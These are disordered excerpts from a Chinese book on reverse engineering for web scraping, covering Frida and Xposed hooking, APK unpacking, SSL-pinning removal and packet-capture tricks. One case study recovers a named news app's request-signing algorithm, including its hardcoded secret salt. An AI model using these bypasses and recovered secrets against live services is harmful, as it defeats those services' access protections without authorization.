页面后， 单 击底部 “OFF” 按钮， 启用 Drony， 然后就可以抓包了， 如图 5- 42 所示。 ·图 5-42 需要注意的是， 应提前配置好 charles， 然后关闭设备的 Wi-Fi 代理。 另外 Drony 的代理类型 Proxy type 默认是 Plain http proxy， 所以本节中笔者没有修改， 也可以选择其他类型， 如 HTTPS、 SOCKS 等。 Unknown 3. Frida 启动方式 使用命令执行 Js 脚本： Frida-U-l ∗. js-f com. package. name。 setImmediate (function () { Java.perform(function () { myClass = Java.use(\"com.package.name.xxClass\"); myClass .implementation = function (v) { // ... } }) }) 使用 Python 脚本启动。 import Frida, sys def on_message(message, data): if message[ type ] = = send : print(message[ payload ]) else : print(message) jscode = \"\"\" Java.perform(function () { var MainActivity = Java.use( com.example.hook.MainActivity ); MainActivity.setMethod.implementation = function (arg1) { 2 16 . 第 6 章 Android 逆向 send( Frida hook success ); console.log(arg1); var res =MainActivity.setMethod(arg1); console.log(\"result:\" + res); }; }); \"\"\" process = Frida.get_usb_device().attach( com.example.hook ) script = process.create_script(jscode) script.on( message , on_message) script.load() sys.stdin.read() 下面分析一下上面代码中的 Js 脚本。 \" Java. perform （function） \" 是 Js 代码成功被附加到目标进程时进行调用。 \" Java. use（）\" 是声明要使用的类。 \" 类 . 方法 . implementation\" 是对方法的具体 Hook 实现。 \" function （arg1， arg2， arg∗） \" 的参数一定要和 Hook 的方法参数类型和参数个数相同。 在 function 方法中可以使用\" console. log\" 打印参数， 以及通过调用方法去查看执行结果。 Unknown 1. Window Window 对象表示浏览器当前打开的窗口， 如表 3-9 所示。 表 3-9 Window document Document 对象 history History 对象 location Location 对象 navigator Navigator 对象 screen Screen 对象 3 4. 第 3 章 Web Js 逆向 (续) scrollBy() 按照指定的像素值来滚动内容 scrollTo() 把内容滚动到指定的坐标 setInterval() 定时器 setTimeout() 延时器 alert() 弹出警告框 prompt() 弹出对话框 open() 打开新页面 close() 关闭页面"},
    {"text": "图书在版编目 (CIP) 数据 爬虫逆向进阶实战/ 李玺著 . —北京: 机械工业出版社， 2022. 4 (计算机前沿技术丛书) ISBN 978-7-111-70452-2 Ⅰ. ①爬… Ⅱ. ①李… Ⅲ. ①软件工具-程序设计 Ⅳ. ①TP311. 561 中国版本图书馆 CIP 数据核字 (2022) 第 050846 号 机械工业出版社 (北京市百万庄大街 22 号 邮政编码 100037) 策划编辑: 杨 源 责任编辑: 杨 源 责任校对: 徐红语 责任印制: 张 博 中教科 (保定) 印刷股份有限公司印刷 2022 年 5 月第 1 版第 1 次印刷 184mm×240mm·23. 25 印张·664 千字 标准书号: ISBN 978-7-111-70452-2 定价: 139. 00 元 电话服务 网络服务 客服电话: 010-88361066 机 工 官 网: www. cmpbook. com 010-88379833 机 工 官 博: weibo. com / cmp1952 010-68326294 金 书 网: www. golden-book. com 封底无防伪标均为盗版 机工教育服务网: www. cmpedu. com 大数据时代下，传统的数据采集方法已经无法满足高质量研究的需求，网络爬虫通常能在 有限的资源下保障数据的质量和数量，但是各种各样的反爬虫方式导致了爬虫工程师所需的技 术栈越来越广泛。"},
    {"text": "撰写本书的目的有两点，一是为了对自己多年的从业经验做一个总结，二是为了对工作或 学习到一定阶段感到迷茫和遇到瓶颈的爬虫工程师提供方向和方法。"},
    {"text": "笔者从招聘网上采集了月薪在两万元以上的高级爬虫工程师、爬虫架构师的岗位要求，总 结出了以下进阶必备技能，本书也主要对这些技能进行分享和案例讲解。"},
    {"text": "本书分 10 章，包括：网络爬虫架构、Python 爬虫技巧、Web Js 逆向、自动化工具的应 用、抓包工具的应用、Android 逆向、小程序逆向、抓包技巧汇总、Android 逆向案例、验证码 识别技术。"},
    {"text": "本书对于大家所擅长的开发语言并没有要求，进阶为高级爬虫工程师需要了解和掌握的技 术内容十分广泛，不局限于编程语言，不拘泥于采集方法。"},
    {"text": "相对于其他同类书来说，笔者选择去掉那些食之无味的安装教程，秉承让大家多在互联网 上练习资源检索能力的目的，一些容易找到的软件也没有提供下载地址和安装步骤。"},
    {"text": "Unknown 11. Frida 持久化 Frida 没有特别好的持久化方法， 关闭终端后 Frida-server 也会停止。 本小节介绍的内容是让 Frida 像 Xposed 一样做到持久化的方式， 另外上一小节的 Gadget 属于非 Root 环境下 Frida 持久化的方法。 开源库 FridaManager。 Github 地址： https： / / Github. com/ hanbinglengyue / FridaManager 基于 Fridagadget 的持久化方案。 开源库 xcubebase。 Github 地址： https： / / Github. com/ svengong / xcubebase 基于 Xposed 的 Frida 持久化方案， 可以理解为一个用于驱动 Frida 脚本的 Xposed 插件。 另外还有基于 magisk 和 riru 的 Frida 持久化方案， 这些开源库中都有详细的使用教程， 所以不再过多说明。 Unknown 1. JEB 基本使用 把 APK 拖入 JEB 中即可反编译 APK， 工程浏览器中的 Bytecode 是反编译后的 Smali 代码， Manifest 是 配置文件， Certificate 是证书， Resources 存放资源文件， 如图 6-11 所示。 ·图 6-11 JEB 反编译后会把所有的 Smali 文件集合在一块放在 Bytecode 中。 可以按 Ctrl+F 快捷键进行关键词查 找， 在代码区域使用鼠标右键单击函数， 选择 “ 交叉引用” 命令， 可以快捷查询一个函数的调用关系， 如图 6-12 所示。 ·图 6-12 . 1 87 爬虫逆向进阶实战 左下角的层级位置展示的是类名， 可以双击类名查看对应的 Smali 代码， 在类名处单击鼠标右键即可 查看对应的 Java 代码。 或者在右侧代码中单击鼠标右键选择 “解析” 命令， 如图 6-13 所示。 ·图 6-13 进入 Java 代码后， 双击方法名即可跳转到方法的定义位置， 单击方法后按 x 键也可以查看方法的交 叉引用。 工具很容易上手， 需要大家多熟悉使用。"},
    {"text": "Unknown 1. 5 智能采集系统架构 智能采集系统的含义是无须编写代码， 通过进行需求描述或者简单的操作即可开始复杂的数据采集 任务。 这种系统的架构往往建立在复杂的采集逻辑上， 目前市面上没有较好的开源智能采集系统， 大部 分公司以此为核心产品进行大数据采集。 像一些基于可配置规则的本地采集工具， 比如神箭手、 火车头 等产品， 其采集逻辑隶属于智能采集系统架构的一部分。 还有一些提供页面智能解析服务的厂家， 其智 能解析算法也属于架构的一部分。 那么想要实现一个智能采集系统， 具体的架构是什么呢？ 可以先查看 下面这张图， 如图 1-10 所示。 ·图 1-10 这个是笔者之前设计的一套智能采集系统， 流程上主要分为三部分， 采集需求分类、 根据分类选择 解析方式、 数据存储和管理， 如图 1-11 所示。 6 . 第 1 章 网络爬虫架构 ·图 1-11 1. 5. 1 采集需求分类 采集需求分类是一种对客户需求的智能理解方法， 当收到文字 描述的需求后， 系统对输入的文字需求进行处理。 主要使用自然语 言处理技术和语义识别技术， 将输入内容进行分词和词性识别， 提 取名词、 动词、 副词、 数词、 形容词等完成命名实体识别。 然后对 命名实体识别结果进行采集规则分类。 提供智能采集、 垂直采集、 精准采集等多种选择标签， 也可以让使用者选择自主采集或者定制 采集的需求分类规则， 如图 1-12 所示。 智能采集是根据某一项关键信息所进行的数据挖掘， 是对领域 和范围准确度要求不高的相关数据采集。 首先根据输入的需求基于 算法进行需求类型匹配， 亦可由输入者选择需求类型， 确定需求类 型之后， 筛选采集目标网站的网址， 亦可由输入者直接输入网址， 根据待采集的目标进行网页类型自动识别， 然后智能解析网页内容。 垂直采集是指针对某一特定站点的聚焦数据采集。 根据现有采 集模板生成的解析策略， 是需要根据特定站点来匹配的。 比如已有 采集模板： 淘宝网、 京东网， 使用者的需求也是这两个网站， 那么 直接使用垂直采集方法进行采集。 精准采集是具有针对性的目标， 选择完全符合采集需求的采集 ·图 1-12 模板。 自主采集是让使用者自行配置采集地址， 在系统页面提供可配置的 xpath 解析方式。 1. 5. 2 页面智能解析 在分类完成之后， 根据对应的解析策略解析页面数据， 采集系统中提供了大量的解析方式， 可以依 据数据主体类型来匹配页面解析规则， 如图 1-13 所示。 比如具有文章主体类型的页面： 如新闻资讯、 博客论坛、 媒体文章、 论文等信息发布型网站； 具 有物质主体类型的页面： 具有对某一物质进行描述的性质 （电商商品、 美团美食、 携程酒店、 景区景点 等产品展示型网站）； 具有社交平台类型的页面： 围绕某一主题进行交互的社交型网站 （ 知乎、 微博、 天涯）。 .7 爬虫逆向进阶实战 ·图 1-13 1. 5. 3 数据管理模块 数据管理模块主要基于数据集成平台实现， 提供数据存储、 数据 清洗和转换、 离线计算、 元数据管理、 数据导出、 数据可视化等功能， 如图 1-14 所示。 因为网络请求模块和之前章节的分布式爬虫架构相似， 所以就不再重申了。 采集完成的数据会进行云端存储， 使用者可选择存储类型， 比如关 系型、 文档型、 音视频文件型等， 并实时查看当前采集内容和采集效率。 存储的数据可以按照规则进行去重、 过滤、 清洗、 转换、 分组等， 可进 行数据分析和数据可视化。 也可以导出数据分析和可视化结果， 支持多 种导出类型， 比如 html、 txt、 excel、 csv、 word、 pdf 等。 智能采集系统主要面向不同领域的企业和人群， 实现人人都可采 集数据的功能。 而对开发者来说， 是一次非常好的锻炼机会， 可以了解 到整个采集系统的生命周期， 对开发者之后的发展很有帮助。 ·图 1-14 8 . Python 爬虫技巧 本书内容对于开发语言没有限制， 无论是以 Python、 Java 还是以 Go、 PHP 等其他语言为第一开发语 言都可以正常阅读， 但是 Python 灵活的脚本特性和丰富的开源库能为开发者节省大量时间和人力。 本章 内容主要分享 Python 在做爬虫时的技巧和主流的 Python 爬虫框架。"},
    {"text": "Unknown 3. Xposed Api 下面主要介绍一下 Xposed 的两个类 XposedBridge 和 XposedHelpers 的常用方法， 每个方法的具体示例 就不写了， 这些在文档中都有介绍。 Api 文档： https： / / Api. xposed. info / reference / packages. html XposedBridge 类包含 Xposed 的大部分核心逻辑， 如表 6-17 所示。 表 6-17 Xposed 的大部分核心逻辑 方 法 简 介 XposedBridge. log() 用于输出日志 XposedBridge. hookAllMethods() Hook 类中的所有方法 (不包括构造函数) XposedBridge. hookAllConstructors() Hook 类中的所有构造函数 XposedBridge. hookMethod() Hook 类中的方法或者构造函数 2 10 . 第 6 章 Android 逆向 XposedHelpers 类提供了很多 Xposed 的 Hook 方法， 笔者总结了一些常用的方法， 如表 6-18 所示。 表 6-18 Xposed 的 Hook 方法 方 法 简 介 XposedHelpers. findAndHookMethod() Hook 一般函数， 获取方法中字段的值 XposedHelpers. callMethod() 对类里的方法的重获取 XposedHelpers. findClass() 指定的类加载器查找类 XposedHelpers. getObjectField() 反射类中方法， 获取方法中字段的值 XposedHelpers. callStaticMethod() 对类里的公用方法的重获取 XposedHelpers. getIntField() 返回 int 给定对象实例中字段的值 XposedHelpers. setBooleanField() 设置 boolean 给对象中字段的值 XposedHelpers. findMethodExactIfExists() 获取方法是否存在 XposedHelpers. getStaticObjectField() 返回类中静态对象字段的值 XposedHelpers. findClassIfExists() 获取类是否存在 XposedHelpers. setAdditionalInstanceField() 将值附加到对象实例 XposedHelpers. setObjectField() 设置对象域 XposedHelpers. setStaticObjectField() 设置静态对象域 XposedHelpers. assetAsByteArray() 以 byte 数组的形式返回资源 XposedHelpers. getStaticIntField() 获取静态整数域 Unknown 1. Newspaper Github： https： / / Github. com/ codelucas/ newspaper . 1 1 爬虫逆向进阶实战 这是一种基于页面 html 标签 DOM 节点的正文内容提取方法。"},
    {"text": "Unknown 6. 1 Android 逆向基础 Android 程序一般是使用 Java 语言开发的， 通过打包生成一个 APK 文件安装到 Android 手机上来运 行。 大家很容易获得 APK， 通过使用一些反汇编工具可以得知 APK 文件内部的逻辑， 甚至得到它最初的 Java 源代码 （不完全等同于开发时的源代码， 但是大体上相同）。 同时， 也可以通过反汇编工具得到类似 的 Smali 代码， Smali 代码是一种类似于汇编语言的代码， 适合机器执行， 但对于程序员来说就相对晦涩 难懂了。 而随着业务安全性的提高， 现在大多数加密都放置在 so 文件中生成， 想要了解 so 文件就需要掌 握 Arm 汇编语法， 了解寄存器和指令集。 另外 Java 就不多说了， 如果不是以 Java 为第一开发语言的读者， 能做到掌握基础语法， 在刚开始逆 向时读懂代码逻辑就可以了， 中后期深入学习时能了解正向开发更好。 6. 1. 1 APK 先从 APK 开始说起， APK （Android Application package， Android 应用程序包） 是 Android 软件包的分 发格式， 它本身是个 Zip 压缩包， 用于分发和安装移动应用及中间件。 一个 Android 应用程序的代码想要 在 Android 设备上运行， 必须先进行编译， 然后打包成一个被 Android 系统所能识别的文件才可以被运行， 而这种能被 Android 系统识别并运行的文件格式便是 “APK”。 APK 根目录下可能出现的目录和文件如表 6-1 所示。 1 74 . 第 6 章 Android 逆向 表 6-1 目录和文件 名 称 简 介 META-INF 存放元数据 (签名、 证书等) AndroidManifest. xml 全局配置文件 assets 资源文件夹 (不编译、 不占 APK 内存) classes. Dex 编译并打包后的源代码 lib 存放二进制共享库的文件夹 res 资源文件夹 resources. arsc 编译 res 中的文件 res 中可能出现的目录如表 6-2 所示。 表 6-2 res 中可能出现的目录 名 称 简 介 anim 编译后的动画 xml 文件 color 编译后的选择器 xml 文件 layout 编译后的布局 xml 文件 menu 编译后的菜单 xml 文件 raw 存放不会编译的资源文件 (音视频等) xml 编译后的自定义 xml 文件 drawable-∗ 存放按分辨率存放的图片 Android APK 打包流程如下： APK 打包时会首先处理 Java 代码、 Android 代码和 资源文件， 把整体项目编译为 class 文件， 然后把 class 文件转换成 Dex 文件， 接着把资源文件和 Dex 文件通过 APKbuilder 进行合并， 打包成一个 APK， 然后完成签名 即可发布， 如图 6-1 所示。 APK 打包流程属于基础知识， 但对后续的逆向分析 非常有帮助。 6. 1. 2 DEX DEX 即 Dalvik Executable， Dalvik 是 Android 系统的 可执行文件， 包含了应用程序的全部操作指令以及运行 时的数据。 它的结构如下： structDexFile{ DexHeader Header; DexStringId StringIds[ stringIdsSize]; DexTypeId TypeIds[ typeIdsSize]; ·图 6-1 DexFieldId FieldIds[ fieldIdsSize]; DexMethodId MethodIds[ methodIdsSize]; . 1 75 爬虫逆向进阶实战 DexProtoId ProtoIds[protoIdsSize]; DexClassDef ClassDefs[ classDefsSize]; DexData Data; DexLink LinkData; }; 一共 分 为 9 个 区 段， Header、 StringIds、 TypeIds、 FieldIds、 MethodIds、 ProtoIds、 ClassDefs、 Data、 LinkData。 每个区段有不同的作用， 比如 Header 区段是文件头， 用于存储版本标识、 文件各部分的大小 及偏移。 StringIds 是字符串标识符列表， 用于内部命名 （例如类型描述符） 或用作代码引用的常量对象。 TypeIds 索引了 Dex 文件里的所有数据类型。 FieldIds、 MethodIds、 ClassDefs、 ProtoIds 则是索引了文件中的 字段、 方法、 类和原型的信息和偏移量。 Data、 LinkData 则是数据区和静态链接数据区。 每一个区段中都有很多的内容， 好在目前并不需要去掌握那么详细， 现在先了解 Dex 是做什么的， 包含了哪些内容就可以了。 6. 1. 3 Smali Smali/ bakSmali 是 Android 的 Java VM 实现 dalvik 使用的 Dex 格式的汇编程序 / 反汇编程序。 比如在使 用工具反编译 Dex 文件后， 首先看到的会是 Smali 内容。 Smali 语法虽然在初期触及不多， 但如果想深入 学习， 还是越熟悉越好， 如表 6-3 和表 6- 4 所示。 表 6-3 Smali 和 Java 基础类型对比 Java Smali void V boolean Z byte B short S char C int I long J float F double D 表 6- 4 语法关键词 关 键 词 简 介 . class 定义 Java 类名 . super 定义父类名 . source 定义 Java 源文件名 . filed 定义字段 . method 定义方法 . end method 定义方法结束 1 76 . 第 6 章 Android 逆向 (续) 关 键 词 简 介 . annotation 定义注解 . end annotation 定义注解结束 . implements 定义接口指令 . local 指定了方法内局部变量的个数 . registers 指定方法内使用寄存器的总数 . prologue 表示方法中代码的开始处 . line 表示 Java 源文件中的指定行 . paramter 指定了方法的参数"},
    {"text": "Unknown 13. FridaUiTools FridaUiTools 是一个用 PyQt5 开发的界面化整理脚本的工具， 把一些常用的 Hook 脚本整理到一个界面 中， 方便大家进行逆向分析。 工具包括 r0capture、 jnitrace、 ssl pining、 ZenTracer、 sktrace、 Frida_dump、 Fart、 FRIDA-DEXDump 等， 如图 6-75 所示。 ·图 6-75 Github 地址： https： / / Github. com/ dqzg12300/ FridaUiTools 正好这个 UI 工具把一些常用的 Frida 脚本都汇集在一起， 就不用单独去进行介绍了， 本小节中挑一 些经常用到的给大家讲解。 r0capture Android 应用层抓包 “通杀” 脚本支持 Android 7 以上， 不用考虑任何证书， 便可 “通杀” TCP / IP 四层模型中的应用层中的很多协议， 包括 Http、 WebSocket、 Ftp、 Xmpp、 Imap、 Smtp、 Protobuf 等。 不同于以中间人拦截方法的抓包工具， r0capture 通过 Frida 去 hook libssl. so 中的 SSL_read、 SSL_write、 SSL_get_∗等函数， 以实现在 ssl 通道加密之前， 拿到明文内容并存储， 所以它虽然支持对 tcp 报文的收发 Hook， 但是也导致对报文显示不太友好， 需要借助 Wireshark 进行展示。 sslpining 整合自开源库 DroidSSLUnpinning， 主要的功能是在抓包时， 解除 Android 证书锁定。 主要使 2 28 . 第 6 章 Android 逆向 用了 SSLcontext、 okhttp3、 WebView、 TrustKit 等函数， 更多内容可以查看源码中 ObjectionUnpinningPlus 目 录下的 hooks. js 文件。 Java 加解密 Hook 和之前小节中讲的 Frida 自吐算法一样， 主要 Hook 了 Java 层的加解密相关内容。 ZenTracer 是一个快速定位关键点、 追踪代码 （执行） 的 Frida 工具。 主要实现了对 Android Java 方法 的定位， 原理和 Objection 类似， 可以模糊匹配函数进行批量 Hook。 sktrace 也是一个 trace （追踪代码） 工具， 它实现的原理是动态编译， 实现了一个类似 IDA 指令 trace 的功能。 另外对每个寄存器的连续变化做了统计， 提供辅助分析。 Frida_dump、 Fart、 FRIDA-DEXDump 等与脱壳相关的脚本放到之后的章节中进行讲解。 总之 FridaUiTools 集成了很多优秀的 Hook 脚本， 方便逆向调试， 在对逆向不够熟练时， 合理使用开 源工具是最有效的方式。 6. 3. 3 Unidbg 目前很多 App 的加密签名算法都在 so 文件中， 强行逆向 so 的话可能会消耗大量时间和资源。 笔者之 前用过 Xposed 或者 Frida， 通过 Hook 的方法从应用中计算签名， 但是需要模拟器或者真机来运行这个应 用。 也用过 Jtype 调用 JVM， 然后通过 native 对 so 文件进行调用， 因为每次都需要启动 JVM， 导致效率也 不高。 而 unidbg 不需要运行 App， 也无须逆向 so 文件， 它通过在 App 中找到对应的 JNI 接口， 然后用 unicorn 引擎直接调用 so 文件， 所以整体效率会提高很多 （Unicorn 是一个基于 Qemu 的轻量级的多平台、 多架构的 CPU 模拟器框架）。 Unknown 2. Frida 基本命令 Frida 相关的基本命令， 包括 adb 相关命令， 如表 6-20 所示。 . 2 15 爬虫逆向进阶实战 表 6-20 Frida 相关的基本命令 adb devices 列 出 设 备 adb connect 127. 0. 0. 1: 62001 连接设备 (注意端口) adb shell 进入 shell adb kill-server 关闭服务 adb start-server 启动服务 adb reboot 重启设备 adb forwardtcp: 27042 tcp: 27042 端口转发 adb shelldumpsys activity top 查看 APK 包名 Frida-ls-devices 列出所有连接到计算机上的设备 Frida-ps-U 列出正在运行的进程 Frida-ps-Uai 列出安装的程序 Frida-ps-Ua 列出运行中的程序 Frida-ps-D\" 设备 id\" 连接 Frida 到指定的设备 Frida-trace-U-f Name-i \" 函数名\" 跟踪某个函数 Frida-trace-U-f Name-m \" 方法名\" 跟踪某个方法 Frida-U-l ∗. js \" 进程 ID\" 加载 Js 脚本 Frida-discover-n Name 发现程序内部函数 Frida-discover-p pid 发现程序内部函数 Frida-kill-U \" 进程 ID\" 结束进程"},
    {"text": "9. 7. 1 抓包分析接口 首先是抓包分析接口， 笔者用的还是夜神模拟器的 Android 5 系统抓包， 可以避免 ssl 校验， 能节省一 部分分析时间， 如图 9-73 所示。"},
    {"text": "{ \"gv\":\"7.38.0\", \"av\":\"7.38.0\", \"uid\":\"v001iNTZ5ITZ1cTY4IjZjVTY40gMgfr3r340gf\", \"deviceid\":\"v001iNTZ5ITZ1cTY4IjZjVTY40gMgfr3r340gf\", \"proid\":\"ifengnews\", \"publishid\":\"2899\", \"st\":\"16406624302529\", \"sn\":\"0be13f679eddae009722aa30e2188d67\" } 表单数据如图 9-74 所示。"},
    {"text": "从计算机上把 APK 改为 rar 格式， 然后删除原有的 Dex 文件， 替换为脱壳后的 Dex 文件， 如图 9- 82 所示。 替换后， 再把 rar 后缀修改为 APK， 此时等于是一个脱壳后的 APK 了， 用 Jadx 重新反编译， 如 图 9- 83 所示。"},
    {"text": "3 22 . 第 9 章 Android 逆向案例 ·图 9-80 ·图 9-81 ·图 9-82 ·图 9-83 . 3 23 爬虫逆向进阶实战 现在已经能看到非常多的 class 文件了， 证明已经完成脱壳。"},
    {"text": "3 24 . 第 9 章 Android 逆向案例 ·图 9-86 ·图 9-87 ·图 9-88 . 3 25 爬虫逆向进阶实战 通过这一段代码可以看出来， m2663a 是把各种请求参数进行拼接和组合， 其中还和 readMD5Key（ ） 进行了拼接， 最后通过 m3609b（）方法加密。"},
    {"text": "具体是什么内容现在还不知道， 但可以看到加载的是 lib ifeng_secure. so 文件。 3 26 . 第 9 章 Android 逆向案例 9. 7. 4 so 文件分析 将 APK 转为 rar 文件， 即可看到 lib 目录， 然后在 lib 目录中找到 lib ifeng_secure. so 文件， 并拖入 IDA 中反汇编， 如图 9-91 所示。"},
    {"text": "在跳转行中按 F5 键查看 C 语言伪代码， 如图 9-94 所示。 再次通过鼠标右键， 单击\" Hide casts\" ， 把代码转成方便阅读的格式， 如图 9-95 所示。"},
    {"text": "import Frida, sys enumerateLoadedClasses_jsCode = \"\"\" Java.perform(function(){ Java.enumerateLoadedClasses({ onMatch:function(className) { send(className);}, onComplete:function(){ send(\"done\"); } }); }); \"\"\" def on_message(message, data): print(\"[%s] => %s\" % (message, data)) process = Frida.get_usb_device().attach(\"com.ifeng.news2\") script = process.create_script(enumerateLoadedClasses_jsCode) script.on(\"message\", on_message) script.load() sys.stdin.read() 运行后发现， 完整的类名确实是\" bmz\" ， 如图 9-96 所示。"},
    {"text": "·图 9-96 编写 Hook 代码： js_code = Java.perform( . 3 29 爬虫逆向进阶实战 function(){ console.log(\"1. start hook\"); var ba = Java.use(\"bmz\"); if (ba != undefined) { console.log(\"2. find class\"); ba.a.overload( java.lang.String ).implementation = function(a1){ console.log(\"3. hook method\"); console.log(a1); var res = ba.a(a1); console.log(res); return res } } } ) 打印结果如图 9-97 所示： ·图 9-97 可以发现 bmz. a 方法中输入的参数是请求 URL， 返回的结果是加了 params 参数并包含了 sn 的链接。"},
    {"text": "但是这个 Hook 的地方是不对的， 要找的是加密时的参数和返回的加密结果。 回头看一下， 最后的加密是用 ces. m3609b（）方法实现的， 所以要在此处进行 Hook。"},
    {"text": "Hook 代码： import Frida, sys def on_message(message, data): print(\"[% s] => % s\" % (message, data)) session = Frida.get_usb_device().attach( 应用包名 ) js_code = Java.perform( function(){ console.log(\"1. start hook\"); var ba = Java.use(\"ces\"); if (ba != undefined) { console.log(\"2. find class\"); ba.b.overload( java.lang.String ).implementation = function(a1){ console.log(\"3. hook method\"); var res = ba.b(a1); console.log(a1); console.log(res); return res } } } 3 30 . 第 9 章 Android 逆向案例 ) script = session.create_script(js_code) script.on( message , on_message) script.load() sys.stdin.read() 打印结果如图 9-98 所示。"},
    {"text": "接下来把字符串放到 MD5 在线加密网站中 查看， 看一下是否和打印出的加密结果一致， 如 图 9-99 所示。 经过对比， 结果是一致的， 说明最后是进行 了一次正常的 MD5 加密。"},
    {"text": "import random import time import hashlib r = int((random. random() * 8999) + 1000) device_id = v001iZGO4cjZhV2Y4ITOkZWO40QMgfr3r340gf publishid = 2899 timec = str(int(time.time())) so = acF% #* {_b1mQt@ ..ifvy . 3 31 爬虫逆向进阶实战 sn_str = f 7.38.0ifengnews{publishid }{device_id }{timec }{r }{so } sn = hashlib.md5(sn_str.encode(encoding = utf- 8 )).hexdigest() print(sn) 本节案例到这里就结束了， 使用了一个新的脱壳工具， 在 Java 层代码静态分析的过程中， 通过 IDA 简单分析了 so 文件， 并通过 Frida 调试分析加密参数， 总结出了加密参数的生成流程， 最后根据分析结果 进行算法还原。"},
    {"text": "Unknown 2. 3 Asyncpy Asyncpy 是笔者基于 Asyncio 和 Siohttp 开发的一个轻便高效的爬虫框架， 采用了 Scrapy 的设计模式， 参考了 Github 上一些开 源框架的处理逻辑， 如图 2-7 所示。 Github 地址： https： / / Github. com/ lixi533- 8619/ Asyncpy Asyncio 是 Python 3. 4 版本引入用来编写 ·图 2-7 . 1 7 爬虫逆向进阶实战 并发代码的标准库， 直接内置了对异步 IO 的支持。 它的编程模型就是一个单线程的消息循环， 从 Asyncio 模块中直接获取一个 EventLoop 的引用， 然后把需要执行的协程扔到 EventLoop 中执行， 就实现了异步 IO。 Aiohttp 是基于 Asyncio 实现的 HTTP 框架。 Aiohttp 强调的是异步并发。 提供了对 Asyncio / await 的支 持， 可以实现单线程并发 IO 操作。 2. 3. 1 Asyncpy 架构 在总体的架构上和 Scrapy 相似， 都是通 过五大模块来进行流程管理， 具体每一部分 的作用就不再重复描述了， 如图 2- 8 所示。 Asyncpy 相对于 Scrapy 的优势在哪里呢。 首先线程是基于系统的， 协程是基于线程的， Scrapy 的多线程在上下文切换时有陷入内核态 的消耗， 而协程更轻量， 并 且 Python 的 GIL 阻止两个线程在同一个程序中同时执行， 导 致多线程并没有异步的单线程速度快。 所以 在某些 特 定 场 景 下， 需 要 高 频 采 集 时 使 用 Asyncpy 就会事半功倍。 而且 Scrapy 在任务分 配上是多线程的， 在请求时是基于 Twisted 的 ·图 2-8 异步网络模型， 而 Asyncpy 在整个流程上都是 基于异步的。 所以在执行某些任务时， 可以通过 Asyncpy 框架来提高工作效率。 2. 3. 2 Asyncpy 安装 首先安装 Asyncpy 时， Python 的版本需要超过 3. 5， 然后直接使用命令安装即可。 安装命令： pip install Asyncpy。 如果无法 pip 到本地， 可以到 https： / / pypi. org / project / Asyncpy / 下 载最新版本的 whl 文件， 下载后再使用 pip 安装。 最后可在命令行输入 Asyncpy --version。 ·图 2-9 可查看是否成功安装， 如图 2-9 所示。 2. 3. 3 Asyncpy 使用 使用 cmd 命 令 创 建 一 个 demo 项 目， 输 入 命 令： Asyncpy genspider demo。 创建成功之后， 打开项目文件， 项目结构如图 2-10 所示。 目录结构很简单， spiders 目录存放爬虫文件， mid- dlewares. PY 是中间件文件， pipelines. PY 是管道文件， settings. PY 是配置文件。 接下来编写一个简单的 get 请求。 修改 demo. PY 文 ·图 2-10 1 8. 第 2 章 Python 爬虫技巧 件， 在 start_url 列表中添加一个链接， 在 parse 中打印出响应状态码和内容。 from Asyncpy.spider import Spider import settings class DemoSpider(Spider): name = demo settings_attr = settings start_urls = [ http: //httpbin. org/get ] Async def parse ( self, response ) : print ( response. status ) print ( response. text ) DemoSpider. start ( ) 直接启动即可进行抓取。 接下来进行一次 POST 请求。 导入 Asyncpy 的 Request 模块， 清空 start_urls， 然后重写 start_requests 方 法完成 Post 请求。 from Asyncpy.spider import Spider import settings from Asyncpy.spider import Request class DemoSpider(Spider): name = demo settings_attr = settings start_urls = [] Async def start_requests(self): url = http://httpbin.org/post yield Request(callback=self.parse,url=url,method=\"POST\",data={\"Say\":\"Hello Asyncpy\"}) Async def parse(self, response): print(response.status) print(response.text) DemoSpider.start() 启动后， 在响应内容中可以看到 Post 提交的参数。 . 1 9 爬虫逆向进阶实战 目前响应内容中的 User-Agent 暴露了我们程序请求的属性， 所以需要添加一个 UA 来掩饰身份， 打开 middlerwares 文件， 给 request 添加请求头。 from Asyncpy.middleware import Middleware from Asyncpy.request import Request from Asyncpy.spider import Spider middleware = Middleware() @ middleware.request Async def UserAgentMiddleware(spider:Spider, request:Request): ua =\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3100.0 Safari/537.36\" request.headers.update({\"User-Agent\":ua}) 中间件添加完成之后， 到 demo. PY 文件中， 在 DemoSpider. start（ ） 启动位置添加上 middleware 参数。 即 DemoSpider. start （middleware = middleware）。 启动爬虫文件后， 可以看到响应内容中已经有了伪造的 UA 身份。 如果需要修改请求频率、 下载延时、 超时限制、 设置日志等， 打开 settings 文件修改对应的参数 即可。 还有更多使用方法和技巧就不多提了， 感兴趣的读者可以查看 Asyncpy 文档。 Unknown 10. Frida 免 Root 因为 Hook 操作一般都需要 Root 权限， 大部分厂家都会对设备进行 Root 检测。 FridaGadget 是一种免 Root 嵌入方式， 和 Frida 注入的方式不同， 其主要通过修改程序加载动态库而实现 Hook。 官方文档： https： / / Frida. re / docs / gadget / 实现方法是把 Frida gadget. so 嵌入到 App 应用中， 编写 Hook 代码后， 再重新打包 App。 不过在修改 APK 后， 应用签名会发生变化， 想要正常使用， 还需要绕过签名校验。"},
    {"text": "Unknown 8. 4 自定义协议 8. 4. 1 Quic 协议抓包 Quic （Quick UDP Internet Connection） 是谷歌制定的一种互联网传输层协议， 它基于 UDP 传输层协 议， 同时兼具 TCP、 TLS、 HTTP / 2 等协议的可靠性与安全性， 可以有效减少连接与传输延迟， 更好地应 对当前传输层与应用层的挑战。 方法 1： 通过 Hook 修改 Quic。 方法 2： 使用 iptables 禁止掉 UDP 的 53 端口， 因为 Quic 使用的是 UDP 发包， 53 端口又主要用于域名 解析， 所以禁止掉后， 无法正常通信， 就会自动降级到 HTTP。 方法 3： 使用代理转发。 8. 4. 2 Spdy 协议抓包 阿里系的 App 大多采用 Spdy 协议， 使用 HTTP 协议的抓包工具并不能捕获到数据。 所以本小节分享 的案例是某 App 的抓包方案， 采用 Frida 去 Hook App 的 Spdy 协议实现抓包。 案例环境： · 某 App （夜神模拟器推荐版本 6. 8. 5） · 夜神模拟器 （Android 7） · Android Killer （2. 5 版本的 APKtools） · Frida · httpCanary 因为模拟器和某 App 的兼容问题， 所以使用了 Android 7 版本的模拟器， 导致对常用抓包工具证书的 支持度不够友好， 安装 Xposed 可能会被检测， 所以选择使用 httpCanary Android 抓包工具 （不需要完全按 2 68 . 第 8 章 抓包技巧汇总 照上面的环境， 可以合理调整）。 首先是反编译 APK， 把 